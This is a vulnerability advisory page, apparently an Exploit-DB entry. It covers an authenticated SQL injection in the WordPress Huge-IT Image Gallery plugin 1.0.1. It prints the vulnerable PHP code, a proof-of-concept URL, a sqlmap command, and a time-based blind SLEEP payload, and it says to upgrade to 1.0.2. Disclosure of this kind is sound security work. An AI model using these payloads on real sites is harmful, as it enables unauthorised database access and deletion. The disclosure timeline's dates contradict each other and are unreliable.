Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

vendor:

Wordpress Huge-IT Image Gallery

by:

Claudio Viviani

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: Wordpress Huge-IT Image Gallery

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: YES

Related CWE: N/A

CPE: a:huge-it:wordpress_huge-it_image_gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 / Mozilla Firefox, Linux / Mozilla Firefox, Linux / sqlmap 1.0-dev-5b2ded0

2014

WordPress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

Wordpress Huge-IT Image Gallery 1.0.1 is vulnerable to an authenticated SQL injection vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request with a malicious payload to the vulnerable parameter 'removeslide' in the 'gallery_func.php' file. This can allow an attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Upgrade to the latest version of Wordpress Huge-IT Image Gallery 1.0.2 or later.

Source

Exploit-DB raw data:

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# Exploit Title : Wordpress Huge-IT Image Gallery 1.0.1 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://huge-it.com/

# Software Link : http://downloads.wordpress.org/plugin/gallery-images.zip
    Mirror Link : https://mega.co.nz/#!3EoUzSQI!yrl75XQsp1ggxDCjW-wq7yUxLdbLu0WHPNFcJAxJOHs

# Date : 2014-08-25

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0-dev-5b2ded0

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# Location :  
http://localhost/wp-content/plugins/gallery-images/admin/gallery_func.php

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# Vulnerable code :

function editgallery($id)
  {

          global $wpdb;

          if(isset($_GET["removeslide"])){
             if($_GET["removeslide"] != ''){


          $wpdb->query("DELETE FROM ".$wpdb->prefix."huge_itgallery_images  WHERE id = ".$_GET["removeslide"]." ");



           }
           }

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# PoC Exploit:

http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1 and 1=2


# Exploit Code via sqlmap:

sqlmap --cookie="INSERT_WORDPRESS_COOKIE_HERE" -u "http://localhost/wordpress/wp-admin/admin.php?page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=1" \
-p removeslide --dbms=mysql --level 3

[20:38:20] [INFO] GET parameter 'removeslide' is 'MySQL >= 5.0 time-based blind - Parameter replace' injectable
...
...
...
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Place: GET
Parameter: removeslide
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: page=gallerys_huge_it_gallery&task=edit_cat&id=1&removeslide=(SELECT (CASE WHEN (5440=5440) THEN SLEEP(5) ELSE 5440*(SELECT 5440 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---


# PoC Video:

https://www.youtube.com/watch?v=gAmb0_o3ZUc

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# Vulnerability Disclosure Timeline:

2014-08-25:  Discovered vulnerability
2014-08-26:  Vendor Notification (Web Customers Service Form)
2014-08-26:  No Response/Feedback 
2014-08-01:  Plugin version 1.0.1 released without fix 
2014-08-02:  Public Disclosure
 
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Discovered By : Claudio Viviani
                http://www.homelab.it
		
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                homelabit@protonmail.ch

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